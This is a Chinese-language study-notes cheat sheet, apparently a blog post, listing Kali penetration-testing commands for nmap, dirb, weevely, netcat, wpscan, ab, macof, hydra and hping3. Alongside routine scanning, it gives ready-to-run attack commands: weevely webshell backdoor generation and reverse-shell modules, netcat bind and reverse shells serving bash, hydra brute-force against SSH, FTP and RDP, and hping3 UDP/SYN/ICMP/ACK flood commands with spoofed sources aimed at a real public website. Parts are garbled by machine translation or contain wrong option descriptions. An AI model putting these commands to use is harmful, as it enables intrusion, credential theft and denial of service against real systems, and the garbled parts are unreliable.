kali中关于nmap、dirb、weevely、NC工具的用法

nmap的使用方法

nmap发现主机的扫描方法

命令

说明

nmap -sP 192.168.1.0/24

扫描有多少主机运行(ping扫描)

nmap -P0 192.168.1.0/24

对主机进行高强度扫描,对端口扫描、版本探测、操作系统探测(无ping扫描)

nmap -PS 192.168.1.0/24

默认是扫描1-31338个端口,用-p 1-65535指定端口

该选项发送一个设置了SYN标志位的空TCP报文。 默认目的端口为80 (可以通过改变nmap.h) 文件中的DEFAULT-TCP-PROBE-PORT值进行配置,但不同的端口也可以作为选项指定。 甚至可以指定一个以逗号分隔的端口列表(如 -PS22,23,25,80,113,1050,35000), 在这种情况下,每个端口会被并发地扫描。(TCP SYN Ping)

nmap -PA 192.168.1.0/24

默认是扫描1-31338个端口,用-p 1-65535指定端口

TCP ACK ping和刚才讨论的SYN ping相当类似。 也许您已经猜到了,区别就是设置TCP的ACK标志位而不是SYN标志位。 ACK报文表示确认一个建立连接的尝试,但该连接尚未完全建立。 所以远程主机应该总是回应一个RST报文, 因为它们并没有发出过连接请求到运行Nmap的机器,如果它们正在运行的话。(TCP ACK Ping)

nmap -PU 192.168.1.0/24

默认是扫描1-31338个端口,用-p 1-65535指定端口

还有一个主机发现的选项是UDP ping,它发送一个空的(除非指定了--data-length UDP报文到给定的端口。端口列表的格式和前面讨论过的-PS和-PA选项还是一样。 如果不指定端口,默认是31338。该默认值可以通过在编译时改变nmap.h文件中的 DEFAULT-UDP-PROBE-PORT值进行配置。默认使用这样一个奇怪的端口是因为对开放端口 进行这种扫描一般都不受欢迎。(UDP Ping)

nmap -PE;-PP;-PM 192.168.1.0/24

默认是扫描1-31338个端口,用-p 1-65535指定端口

除了前面讨论的这些不常见的TCP和UDP主机发现类型, Nmap也能发送世人皆知的ping 程序所发送的报文。Nmap发送一个ICMP type 8 (回声请求)报文到目标IP地址, 期待从运行的主机得到一个type 0 (回声响应)报文。 对于网络探索者而言,不幸的是,许多主机和 防火墙现在封锁这些报文,而不是按期望的那样响应, 参见RFC 1122。因此,仅仅ICMP扫描对于互联网上的目标通常是不够的。 但对于系统管理员监视一个内部网络,它们可能是实际有效的途径。 使用-PE选项打开该回声请求功能。(ICMP Ping Types)

nmap -PR 192.168.1.0/24

默认是扫描1-31338个端口,用-p 1-65535指定端口

最常见的Nmap使用场景之一是扫描一个以太局域网。 在大部分局域网上,特别是那些使用基于 RFC1918私有地址范围的 网络,在一个 给定的时间绝大部分 IP地址都是不使用的。 当Nmap试图发送一个原始IP报文如ICMP回声请求时, 操作系统必须确定对应于目标IP的硬件 地址(ARP),这样它才能把以太帧送往正确的地址。 这一般比较慢而且会有些问题,因为操作系统设计者认为一般不会在短时间内 对没有运行的机器作几百万次的ARP请求。(ARP Ping)

nmap -n 192.168.1.0/24

默认是扫描1-31338个端口,用-p 1-65535指定端口

告诉Nmap 永不对它发现的活动IP地址进行反向域名解析。 既然DNS一般比较慢,这可以让事情更快些。(不用域名解析)

nmap -R 192.168.1.0/24

默认是扫描1-31338个端口,用-p 1-65535指定端口

告诉Nmap 永远 对目标IP地址作反向域名解析。 一般只有当发现机器正在运行时才进行这项操作。(为所有目标解析域名)

nmap --system-dns 192.168.1.0/24

默认是扫描1-31338个端口,用-p 1-65535指定端口

默认情况下,Nmap通过直接发送查询到您的主机上配置的域名服务器 来解析域名。为了提高性能,许多请求 (一般几十个 ) 并发执行。如果您希望使用系统自带的解析器,就指定该选项 (通过getnameinfo()调用一次解析一个IP)。除非Nmap的DNS代码有bug--如果是这样,请联系我们。 一般不使用该选项,因为它慢多了。系统解析器总是用于IPv6扫描。(使用系统域名解析器)

nmap端口扫描技术

命令

说明

nmap -sS 192.168.1.0/24

用-p 1-65535指定端口

SYN扫描作为默认的也是最受欢迎的扫描选项,是有充分理由的。 它执行得很快,在一个没有入侵防火墙的快速网络上,每秒钟可以扫描数千个 端口。 SYN扫描相对来说不张扬,不易被注意到,因为它从来不完成TCP连接。 它也不像Fin/Null/Xmas,Maimon和Idle扫描依赖于特定平台,而可以应对任何兼容的 TCP协议栈。 它还可以明确可靠地区分open(开放的), closed(关闭的),和filtered(被过滤的) 状态(TCP SYN扫描)

nmap -sT 192.168.1.0/24

用-p 1-65535指定端口

当SYN扫描不能用时,CP Connect()扫描就是默认的TCP扫描。 当用户没有权限发送原始报文或者扫描IPv6网络时,就是这种情况。 Instead of writing raw packets as most other scan types do,Nmap通过创建connect() 系统调用要求操作系统和目标机以及端口建立连接,而不像其它扫描类型直接发送原始报文。 这是和Web浏览器,P2P客户端以及大多数其它网络应用程序用以建立连接一样的 高层系统调用。它是叫做Berkeley Sockets API编程接口的一部分。Nmap用 该API获得每个连接尝试的状态信息,而不是读取响应的原始报文。(TCP connect()扫描)

nmap -sU 192.168.1.0/24

用-p 1-65535指定端口

虽然互联网上很多流行的服务运行在TCP 协议上,UDP服务也不少。 DNS,SNMP,和DHCP (注册的端口是53,161/162,和67/68)是最常见的三个。 因为UDP扫描一般较慢,比TCP更困难,一些安全审核人员忽略这些端口。 这是一个错误,因为可探测的UDP服务相当普遍,攻击者当然不会忽略整个协议。 所幸,Nmap可以帮助记录并报告UDP端口。

UDP扫描用-sU选项激活。它可以和TCP扫描如 SYN扫描 (-sS)结合使用来同时检查两种协议。(UDP扫描)

nmap -sN;-sF;-sX 192.168.1.0/24

用-p 1-65535指定端口

这三种扫描类型 (甚至用下一节描述的 --scanflags 选项的更多类型) 在TCP RFC 中发掘了一个微妙的方法来区分open(开放的)和 closed(关闭的)端口。第65页说“如果 [目标]端口状态是关闭的.... 进入的不含RST的报文导致一个RST响应。” 接下来的一页 讨论不设置SYN,RST,或者ACK位的报文发送到开放端口: “理论上,这不应该发生,如果您确实收到了,丢弃该报文,返回。 ” (TCP Null,FIN,and Xmas扫描)

nmap -sA 192.168.1.0/24

用-p 1-65535指定端口

这种扫描与目前为止讨论的其它扫描的不同之处在于 它不能确定open(开放的)或者 open|filtered(开放或者过滤的))端口。 它用于发现防火墙规则,确定它们是有状态的还是无状态的,哪些端口是被过滤的。(TCP ACK扫描)

nmap -sW 192.168.1.0/24

用-p 1-65535指定端口

除了利用特定系统的实现细节来区分开放端口和关闭端口,当收到RST时不总是打印unfiltered, 窗口扫描和ACK扫描完全一样。 它通过检查返回的RST报文的TCP窗口域做到这一点。 在某些系统上,开放端口用正数表示窗口大小(甚至对于RST报文) 而关闭端口的窗口大小为0。因此,当收到RST时,窗口扫描不总是把端口标记为 unfiltered, 而是根据TCP窗口值是正数还是0,分别把端口标记为open或者 closed (TCP窗口扫描)

nmap -sM 192.168.1.0/24

用-p 1-65535指定端口

Maimon扫描是用它的发现者Uriel Maimon命名的。他在 Phrack Magazine issue #49 (November 1996)中描述了这一技术。 Nmap在两期后加入了这一技术。 这项技术和Null,FIN,以及Xmas扫描完全一样,除了探测报文是FIN/ACK。 根据RFC 793 (TCP),无论端口开放或者关闭,都应该对这样的探测响应RST报文。 然而,Uriel注意到如果端口开放,许多基于BSD的系统只是丢弃该探测报文。(TCP Maimon扫描)

nmap --scanflags 192.168.1.0/24

用-p 1-65535指定端口

--scanflags选项可以是一个数字标记值如9 (PSH和FIN), 但使用字符名更容易些。 只要是URG, ACK,PSH, RST,SYN,and FIN的任何组合就行。例如,--scanflags URGACKPSHRSTSYNFIN设置了所有标志位,但是这对扫描没有太大用处。 标志位的顺序不重要。(定制的TCP扫描)

nmap -sI 192.168.1.0/24

用-p 1-65535指定端口

这种高级的扫描方法允许对目标进行真正的TCP端口盲扫描 (意味着没有报文从您的真实IP地址发送到目标)。相反,side-channel攻击 利用zombie主机上已知的IP分段ID序列生成算法来窥探目标上开放端口的信息。(Idlescan)

nmap -s0 192.168.1.0/24

用-p 1-65535指定端口

IP 协议扫描可以让您确定目标机支持哪些IP协议 (TCP,ICMP,IGMP,等等)。从技术上说,这不是端口扫描 ,既然它遍历的是IP协议号而不是TCP或者UDP端口号。(IP协议扫描)

nmap -b 192.168.1.0/24

用-p 1-65535指定端口

FTP协议的一个有趣特征(RFC 959) 是支持所谓代理ftp连接。它允许用户连接到一台FTP服务器,然后要求文件送到一台第三方服务器。 这个特性在很多层次上被滥用,所以许多服务器已经停止支持它了。其中一种就是导致FTP服务器对其它主机端口扫描。 只要请求FTP服务器轮流发送一个文件到目标主机上的所感兴趣的端口。 错误消息会描述端口是开放还是关闭的。 这是绕过防火墙的好方法,因为FTP服务器常常被置于可以访问比Web主机更多其它内部主机的位置。 Nmap用-b选项支持ftp弹跳扫描。参数格式是 :@: 是某个脆弱的FTP服务器的名字或者IP地址。 您也许可以省略:, 如果服务器上开放了匿名用户(user:anonymous password:-wwwuser@)。 端口号(以及前面的冒号) 也可以省略,如果使用默认的FTP端口(21)。(FTP弹跳扫描)

端口说明和扫描顺序

nmap 192.168.1.0/24 -p 1-65535

该选项指明您想扫描的端口,覆盖默认值。 单个端口和用连字符表示的端口范围(如 1-1023)都可以。 范围的开始以及/或者结束值可以被省略, 分别导致Nmap使用1和65535。所以您可以指定 从端口1扫描到65535。 如果您特别指定,也可以扫描端口0。 对于IP协议扫描(),该选项指定您希望扫描的协议号 (0-255)。(只扫描指定的端口)

nmap -F 192.1681.0/24

只扫描常用的端口(如:21、22、80)(快速 (有限的端口) 扫描)

nmap -r 192.168.1.0/24

默认情况下,Nmap按随机顺序扫描端口 (除了出于效率的考虑,常用的端口前移)。这种随机化通常都是受欢迎的, 但您也可以指定来顺序端口扫描。(不要按随机顺序扫描端口)

nmap -T4 192.168.1.0/24

使用加速模式,更快的扫描

nmap服务和版本探测

命令

说明

nmap -sV 192.168.1.0/24

打开版本探测(版本探测)

-sV参数表示对目标进行服务版本扫描,用于确定目标主机上运行的每一个网络服务的版本信息。

nmap -A 192.168.1.0/24

-A参数是nmap的“全能扫描模式”选项,它将会测试目标主机上所有的网络服务,并尝试识别正在运行的操作系统类型、应用程序版本号和其他相关信息。执行nmap -A命令时,nmap将进行端口扫描、服务版本扫描、操作系统检测和traceroute等操作,收集更全面的信息,并将结果列在扫描报告中。

nmap --allports 192.168.1.0/24

扫描目标主机上的所有端口(不为版本探测排除任何端口)

nmap --version-intersity 9 192.168.1.0/24

用于对目标主机的扫描程度,分为1-9级,默认是7级(设置版本扫描强度)

注意:版本扫描可能触发网络安全防御机制,甚至导致安全漏洞的利用,因此在进行版本扫描时,需要谨慎使用,并采取必要的安全防护措施,以保证扫描的安全性和准确性。

nmap --version-light 192.168.1.0/24

这是 --version-intensity 2的方便的别名。轻量级模式使 版本扫描快许多,但它识别服务的可能性也略微小一点。(打开轻量级模式)

nmap --version-all 192.168.1.0/24

--version-intensity 9的别名, 保证对每个端口尝试每个探测报文。(尝试每个探测)

nmap --version-trace 192.168.1.0/24

这导致Nmap打印出详细的关于正在进行的扫描的调试信息。 它是您用--packet-trace所得到的信息的子集。(跟踪版本扫描活动)

nmap -sR 192.168.1.0/24

它表示使用远程TCP连接(Remote TCP Connections)进行端口扫描。这个选项类似于使用常规的TCP SYN扫描,但它在建立连接时使用不同的TCP标志,这可以欺骗一些防火墙来允许扫描。但是,需要注意的是,该选项可能与某些网络环境不兼容,并且可能会被某些安全系统视为攻击行为。因此,在使用这个选项时,需要谨慎考虑对网络和目标系统的影响以及可能的法律后果。(RPC扫描)

nmap操作系统探测

命令

说明

nmap -O 1192.168.1.0/24

这里会推测操作系统是哪个,这个只能用来参考(启用操作系统探测)

nmap -A 192.168.1.0/24

也可以使用-A来同时启用操作系统检测和版本检测。

nmap --oscan-limit 192.168.1.0/24

如果发现一个打开和关闭的TCP端口时,操作系统检测会更有效。 采用这个选项,Nmap只对满足这个条件的主机进行操作系统检测,这样可以 节约时间,特别在使用-P0扫描多个主机时。这个选项仅在使用 -O或-A 进行操作系统检测时起作用。(针对指定的目标进行操作系统检测)

nmap --osscan-guess;--fuzzy 192.168.1.0/24

当Nmap无法确定所检测的操作系统时,会尽可能地提供最相近的匹配,Nmap默认 进行这种匹配,使用上述任一个选项使得Nmap的推测更加有效。(推测操作系统检测结果)

nmap防火墙/IDS躲避和哄骗

命令

说明

nmap -f 192.168.1.0/24

报文分段扫描可以通过在每个64字节的数据段之后插入一个20字节的IP头来模拟更小的MTU。这有助于绕过防火墙或IDS设备,在主机之间隐藏扫描器流量。(报文分段)

nmap –mtu 1300 192.168.1.0/24

MTU全称为Maximum Transmission Unit,即最大传输单元。它是网络通信中一个重要的参数,指的是在TCP/IP协议中,每个数据包能够传输的最大长度。

在网络通信中,每次发送数据时,数据包需要被分成若干个分组进行传输。而每个分组的长度不能超过MTU,否则就会发生分组过大而无法传输的错误。(使用指定的MTU)

nmap -D 192.168.1.25 , 192.168.45 , 192.168.46

nmap -sS -T4 -D fake1,fake2,fake3 target

进行ip假冒(使用诱饵隐蔽扫描)

注意以下几点:

在使用假冒IP地址时,可能会触发目标网络安全设备的警报和记录,从而被发现。因此,应谨慎评估风险,并仅在授权的情况下使用。

建议在扫描时使用多台假冒的IP地址,以使扫描更具有隐蔽性。同时,也需要根据目标网络的特点,选择更适合的IP地址。

在扫描过程中,应注意假冒的IP地址是否响应ICMP请求,否则可能会被一些安全设备检测出来。如果发现假冒的IP地址不响应ICMP请求,可以在命令中使用–data-length选项来指定TCP数据包的大小,以强制假冒IP地址发送TCP数据包。例如,–data-length 100。

使用假冒IP地址进行扫描时,需要选用合适的扫描策略和工具,以确保扫描的充分性和准确性。

nmap -S 192.168.1.56

在某些情况下,Nmap可能无法确定你的源地址(如果这样,Nmap会给出 提示)。此时,使用-S选项并说明所需发送包的接口IP地址。(源地址哄骗)

这个标志的另一个用处是哄骗性的扫描,使得目标认为是另 一个地址在进行扫描。

nmap -n 192.168.1.0/24

使用它进行网络扫描时,可以通过-n选项来禁止nmap在扫描目标主机时进行DNS解析。(使用指定的接口)

在扫描时使用-n选项需要注意以下几点:

  1. 在一些情况下,nmap会自动启用DNS解析,例如在检测主机是否在线、扫描端口服务等功能中,nmap会默认进行DNS解析。因此,如果需要完全禁用DNS解析,还需要使用其他选项,例如-Pn(禁用PING主机检测)等。
  2. 如果在扫描时需要获取IP地址的主机名信息等,可以不使用-n选项,而是使用其他命令和选项,例如-PR(Nmap Ping扫描)和-sL(用于列表扫描)等。
  3. 在扫描时需要根据目标网络的特点合理选择命令和选项,以达到更高的扫描效率和准确性。

nmap --source-port 80 192.168.1.0/24

使用它进行端口扫描时,可以使用--source-port选项来指定扫描的源端口号。(源端口哄骗)

使用--source-port选项时,需要注意以下几点:

  1. 在实际使用中,要根据目标网络的特点选择合适的源端口号。一般而言,可以选择常用端口号,如80、443、53等,这样欺骗目标主机的几率就比较高。
  2. 一些防火墙或安全设备可以对修改源端口号的扫描进行识别,从而监测到扫描流量。因此,在使用命令时需要结合其他技术和工具来实现扫描的隐蔽性和准确性。
  3. 在使用-n选项禁用DNS解析时,扫描结果中可能只包含IP地址而不包含主机名等信息。因此,在需要获取完整主机信息时可以不使用–source-port选项而使用其他选项来进行扫描。
  4. 源端口欺骗技术容易被滥用,因此在使用时需要遵循相关规定和道德原则,不得用于恶意行为或非法用途。

nmap -g 80 192.168.1.0/24

使用它进行端口扫描时,可以使用-g选项来指定中间网关端口号。(源端口哄骗)

在使用-g选项时,需要注意以下几点:

  1. 使用-g选项需要确保目标网络中存在网关设备,并且网关设备是可用的。否则,扫描流量将无法正常进行,扫描效果也会受到影响。
  2. 在使用-g选项时,需要结合其他技术和工具来实现源IP地址的欺骗。例如,在使用nmap扫描时,可以结合–source-port选项来实现源IP地址的改动。
  3. 使用-g选项时,需要根据目标网络的特点和安全设备的过滤规则,选择合适的端口号。一般而言,可以选择常用的端口号进行欺骗。
  4. 源IP地址欺骗技术容易被安全设备识别和阻拦,因此在使用时需要仔细评估风险,并确保遵守相关规定和道德原则。

nmap --data-length  192.168.1.0/24

正常情况下,Nmap发送最少的报文,只含一个包头。因此TCP包通常 是40字节,ICMP ECHO请求只有28字节。这个选项告诉Nmap在发送的报文上 附加指定数量的随机字节。操作系统检测(-O)包不受影响, 但大部分ping和端口扫描包受影响,这会使处理变慢,但对扫描的影响较小。(发送报文时 附加随机数据)

nmap --ttl 10 192.168.1.0/24

nmap -sS --ttl 10 192.168.1.0/24

设置IPv4报文的time-to-live域为指定的值。

TTL值是指TTL字段,是TCP/IP协议中的一个重要字段之一,用于防止数据在网络中无限传输,从而浪费网络带宽和资源。(设置IP time-to-live域)

通过修改TTL值,可以控制数据在网络中传输的距离和时间,从而达到特定的目的。

在使用–ttl选项时,需要注意以下几点:

  1. 修改TTL值需要根据目标网络的特点和要达到的目的,选择合适的值。一般而言,可以使用TTL值为1或2进行扫描,以排除无效主机。
  2. 在使用TTL值进行网络拓扑分析时,可以结合其他技术和工具来获取更精确的信息。例如,可以使用traceroute等工具追踪路由信息,或利用响应时间等特征识别网络设备类型和版本。
  3. 在实际使用中,TTL值可能会被防火墙等安全设备识别和阻拦。因此,在使用命令时需要评估风险,并结合其他技术和工具来实现扫描的准确性和隐蔽性。

nmap --randomize-hosts 192.168.1.0/24

nmap -sS –randomize-hosts 192.168.1.0/24

在进行大规模扫描时,使用随机顺序扫描可以提高扫描效率,减少被目标发现和阻拦的风险,增加渗透测试的隐蔽性。(对目标主机的顺序随机排列)

在使用--randomize-hosts选项时,需要注意以下几点:

  1. 随机顺序扫描可能导致扫描重叠,因此在使用命令时需要评估扫描效率和准确性之间的平衡。
  2. 在实际使用中,随机扫描可能会被防火墙等安全设备识别和阻拦,或者被目标发现和监测,因此在使用时需要评估风险,并结合其他技术和工具增加扫描的隐蔽性和准确性。
  3. 随机扫描可能会影响扫描结果的统计分析,因此需要根据实际需要选择是否使用该选项。

nmap --spoof-mac 11:22:33:44:55:66 192.168.1.23

nmap -sS --spoof-mac 11:22:33:44:55:66 192.168.1.23

伪造MAC地址可以欺骗目标主机,使其认为扫描流量是从特定设备发送的,从而避免被目标发现和阻拦。(MAC地址哄骗)

在使用–spoof-mac选项时,需要注意以下几点:

  1. 伪造MAC地址需要具备一定的技术和工具基础,否则可能会导致扫描失败或扫描效率降低。因此,在使用命令时需要评估自身能力和需要。
  2. 伪造MAC地址技术容易被目标和安全设备识别和阻拦,因此在使用时需要评估风险,并结合其他技术和工具增加扫描的隐蔽性和准确性。
  3. 在实际使用中,伪造MAC地址需要根据目标网络的特点和安全设备的过滤规则,选择合适的MAC地址。一般而言,可以选择已知的MAC地址进行模拟。

dirb的使用方法

命令

说明

dirb 192.168.1.106/dvwa/

默认工作

dirb 192.168.1.106/dvwa/-X .php

列举具有特定扩展名列表的目录

dirb 192.168.1.106/dvwa/ -o output.txt

将输出保存到磁盘

dirb 192.168.1.106/dvwa/ -N 302

忽略不必要的状态码

dirb 192.168.1.106/

自动跳过那些遇到任何警告的目录

dirb 192.168.1.106/ -w

dirb 192.168.1.106/dvwa -z 100

速度延迟(以毫秒为单位提供时间)

dirb 192.168.1.106/dvwa -r

不递归(-r)

默认情况下,dirb扫描以递归方式扫描目录。这意味着它将扫描目录,然后遍历该目录以扫描更多子目录。但是在某些情况下,如果时间不足,我们会将Dirb设置为不递归扫描。这可以使用-r参数来实现。

dirb 192.168.1.106/dvwa -v

显示不存在页面,可以显示响应码为404的页面,默认是不显示的

dirb 192.168.1.106/dvwa -H .php

扩展列表(-X参数)与扩展头(-H参数)

通过将–X参数与具有特定扩展名(例如.php)的目标URL一起使用,它枚举了所有具有.php扩展名的文件或目录,但通过将–H参数与特定扩展名一起使用(例如.php与目标URL一起)它将枚举用php命名的所有文件或目录,

dirb http://192.168.1.106/bwapp/por -t

不对网址(-t)强制使用结尾的“ /”

从前面情况中使用的攻击开始,为了运行dirb工具,我们将不得不在URL的末尾添加一个正斜杠(/)以便在dirb中接受。为了检查我们是否需要对URL末尾进行一次无正斜杠的攻击。

dirb login page -u test:test

HTTP授权(-u用户名:密码)

HTTP身份验证/身份验证机制全部基于401状态代码和WWW身份验证 响应标头的使用。最广泛使用的 HTTP身份验证 机制是 Basic。客户端将用户名和密码作为未加密的base64编码文本发送。

dirb http://192.168.1.108

dirb http://192.168.1.108 –p 192.168.1.108:3129

代理网址

使用– p选项可将代理URL用于所有请求,默认情况下,它可在端口1080上使用。您可以观察到,在Web浏览器中浏览目标网络IP时,它显示了“禁止访问错误”,这表示该网页是在某些代理后面运行。

Weevely的使用方法

命令

说明

weevely generate 123 1.php

生成后门木马病毒

weevely +路径 123

后门连接

之后就是利用模块去获得靶机更多的信息--以下介绍的都是模块

:shell_su

通过更变使用者来执行shell命令,可以获得root权限来执行命令.  

:shell_sh

执行shell命令

:shell_php

执行PHP命令

:system_extensions

收集PHP和webserver扩展列表

:system_info

收集系统信息

:system_procs

列出正在运行的进程

:system_disablefunctionbypass

使用mod_cgi和.htaccess绕过系统禁用函数的限制。它会上传.htaccess和CGI脚本,并在远程服务器上运行伪系统shell    

:audit_etcpasswd

查看/etc/passwd文件

:audit_suidsgid

查看带有SUID或SGID标志的文件

:audit_phpconf

查看php配置信息

:audit_filesystem

审核文件系统的弱权限。枚举各种系统目录并寻找可读写执行的目录,模块仅默认搜索部分linux下的常见目录,logs、root、home等  

:backdoor_reversetcp

执行反向TCP shell. 需要nc -lvp 监听 

:backdoor_tcp

在TCP端口上生成shell

:net_scan

TCP端口扫描

:net_mail

发送邮件.

:net_ifconfig

获取网络接口地址.

:net_curl

执行类似curl的HTTP请求.

:net_proxy

运行本地代理以通过目标转移HTTP / HTTPS浏览

:net_phpproxy

在目标上安装PHP代理.

:bruteforce_sql

可用来猜解数据库密码.

:file_find

查找具有给定名称和属性的文件.

:file_download 

从远程文件系统下载文件.

:file_check

获取文件的属性和权限.

:file_touch

更改文件时间戳.

:file_cd

更改当前工作目录.

:file_grep  

打印与多个文件中的模式匹配的行.

:file_gzip

压缩或解压gzip文件.

:file_tar

压缩或解压tar文件.

:file_enum 

检查路径列表的存在和权限

:file_bzip2

压缩或解压bzip2文件. 

:file_mount

使用HTTPfs挂载远程文件系统.

:file_clearlog

从文件中删除字符串. 

:file_zip

压缩或解压zip文件.

:file_cp  

复制单个文件.

:file_upload2web

自动将文件上传到Web文件夹并获取相应的URL.

:file_edit

在本地编辑器上编辑远程文件.

:file_read

从远程文件系统中读取远程文件.

:file_webdownload

指定URL下载文件

:file_upload 

文件上载到远程文件系统.

:file_ls 

列出目录内容.

:file_rm 

删除远程文件.

:sql_dump

Multi dbms mysqldump replacement.

:sql_console

执行SQL查询或运行sql控制台.

NC的使用方法

命令

说明

A:nc -l -p 333

B:nc -nv 1.1.1.1 333

Ps aus | Nc -nv 1.1.1.1 333 -q 1     

Ls -l | nc -nv 1.1.1.1 333

打开333端口,并进行监听

连接到A的333端口

连接A的kali,并将B的kali日志信息在A上显示,只连接1秒

在B的kali上输入,将返回的信息再A的kali上显示

传输信息

A:nc -lp 333 > 1.mp4

B:nc -nv 1.1.1.1 333 < 1.mp4 -q 1

将接收到的文件保存进1.mp4中

发送1.mp4到A中去,只连接1秒

传输文件/目录

A:cat 1.mp4 | nc -lp 333

B:nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -

将1.mp4输入到333端口,等建立连接后直接流到B端

先对其建立连接后,通过mplayer去播放发送端的视频,最大缓存3000字节,(接收视频端本地不会保存视频,只会实时播放发送端的视频文件)

流媒体服务

Nc -nvz 1.1.1.1 1-65535                

Nc -vnzu 1.1.1.1 1-65535              

z表示只会扫描端口是否开放,不进行连接

默认只会扫描tcp端口,加u表示扫描UDP端口

端口扫描

A:nc -lp 333 | dd of=/dev/sda

B:dd if=dev/sda | nc -nv 1.1.1.1 333 -q 1

先开启333端口,然后对其输入过来的硬盘数据进行保存

先对其硬盘进行复制,然后建立连接进行传输,连接1秒后断开

远程克隆硬盘

正向:

A:nc -lp 333 -c bash

B:nc 1.1.1.1 333

反向:

A:nc -lp 333

B:nc 1.1.1.1 333 -c bash

开启333端口,一旦有人来连接则会将bash发送过去

连接

开启333端口

连接对方的333端口,请求连接对方的333端口

远程控制

注:windows用户把bash改为cmd

A:ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl

B:ncat -nv 1.1.1.1 333 -ssl

只允许192.138.20.14连接,并且开启了333端口,同时利用了ssl进行加密

去连接1.1.1.1的333端口,同时利用ssl进行加密

ncat

Nc缺乏加密和身份验证的能力

Ncat包含于nmap工具中

注意:不同系统/平台的nc参数功能不尽相同

WPscan的使用方法

wpscan --update

更新漏洞数据库

wpscan --url http://192.168.2.140

扫描网站

wpscan --url http://192.168.2.140 -U (用户名字典或用户名) -P (密码字典)

爆破登录

wpscan –url (网站链接) –wordlist 密码文件 –username 用户名

对指定的用户名进行爆破

wpscan --url http://192.168.2.140/ --enumerate t

对网站主题进行扫描

wpscan --url http://192.168.2.140 --enumerate vt

扫描主题中存在的漏洞

wpscan --url http://192.168.2.140 --enumerate p

插件扫描

wpscan --url http://192.168.2.140 --enumerate vp

扫描目标插件中的安全漏洞

wpscan --url http://192.168.2.140 --enumerate u

枚举用户名

ab(web方面的压力测试工具)

-n:在测试会话中所执行的请求个数。默认时,仅执行一个请求

ab是web上的压力测试工具,可以实现cc攻击

ab -c 10000 -n 1000 百度一下,你就知道

-n

在测试会话中所执行的请求个数。默认时,仅执行一个请求

-c

一次产生的请求个数。默认是一次一个

macof(大规模MAC flooding攻击的工具)

macof可以造成交换机mac泛洪,受到攻击之后,内部的CAM表很快就会被填满了,交换机退化成集线器,会将收到的数据包全部广播出去,从而无法正常地向局域网提供转发功能。

语法:macof [-i interface] [-s src] [-d dst] [-e tha] [-x sport] [-y dport] [-n times]

-i

interface指定要发送的接口

-s

src指定源IP地址

-d

dst指定目标IP地址

-e

指定目标硬件地址

-x

sport指定TCP源端口

-y

dport指定TCP目标端口

-n

times指定要发送的数据包数

hydra(九头蛇)

hydra 是一款世界顶级密码暴力破解工具,支持几乎所有的协议的在线破解,功能强大,其密码能否被破解关键取决于破解字典的是否足够强大,在网络安全渗透过程中是一款必备的测试工具。

目前该工具支持以下协议的爆破:

法新社,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM-获得的HTTPS-FORM-后,HTTPS-获得的HTTPS-头,HTTP代理,ICQ,IMAP,因诺琴蒂研究中心,LDAP,MS SQL,MYSQL,全国大会党,NNTP,Oracle听众,Oracle SID,Oracle,PC-任何地方,PCNFS,POP3,POSTGRES,RDP,而言,Rlogin,Rsh,SAP/R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),颠复,耗用庞大(TS2)中Telnet,VMware的授权,VNC和XMPP,使用xhydra可以打开图形界面。

// 爆破SSH:

hydra -L user.txt -P passwd.txt -o ssh.txt -vV -t 10 192.168.43.94 ssh 

// -L指定用户字典 -P 指定密码字典  -o把成功的输出到ssh.txt文件 -vV显示详细信息 -t 指定线程数

// 爆破FTP

hydra -L user.txt -P passwd.txt -o ftp.txt -t 5 -vV 192.168.43.94 ftp

// -L指定用户名列表 -P指定密码字典 -o把爆破的输出到文件 -t指定线程 -vV 显示详细信息

// 爆破telnet

hydra 192.168.43.34 -L user.txt -P passwd.txt -t 10 telnet

// 爆破3389

hydra 192.168.43.34 rdp -L user.txt -P passwd.txt -V

server:目标ip

参数说明

-R

继续从上一次进度接着破解

-S

大写,采用SSL链接

-s

:小写,可通过这个参数指定非默认端口

-l

:指定破解的用户,对特定用户破解

-L

:指定用户名字典

-P

:小写,指定密码破解,少用,一般是采用密码字典

-p

:大写,指定密码字典

-e

:可选选项,n:空密码试探,s:使用指定用户和密码试探

-c

:使用冒号分割格式,例如“登录名:密码”来代替 -L/-P 参数

-M

:指定目标列表文件一行一条

-t

指定多线程数,默认为16个线程

-o

:指定结果输出文件

-f

在使用-M参数以后,找到第一对登录名或者密码的时候中止破解

-t

:同时运行的线程数,默认为16

-w

:设置最大超时的时间,单位秒,默认是30s

-v / -V

显示详细过程

hping3(这里记录的是如何进行分布式拒绝服务攻击)

// DDOS攻击 (分布式拒绝服务攻击)

// UDP ddos攻击:

hping3 -c 10000 -d 120 --udp -w 64 -p 80 --flood --rand-source www.baidu.com

1

// ICMP ddos攻击:

hping3 -c 10000 -d 120 --icmp -w 64 -p 80 --flood --rand-source www.baidu.com

1

// SYN ddos攻击:

hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source www.baidu.com

1

// ACK ddos攻击:

hping3 -c 10000 -d 120 -A -w 64 -p 80 --flood --rand-source www.baidu.com

// 端口扫描

hping3 -I eth0 -S 192.168.10.1 -p 80

这是本人在学习过程中自己总结的,希望大家喜欢!!!

你可能感兴趣的:(网络)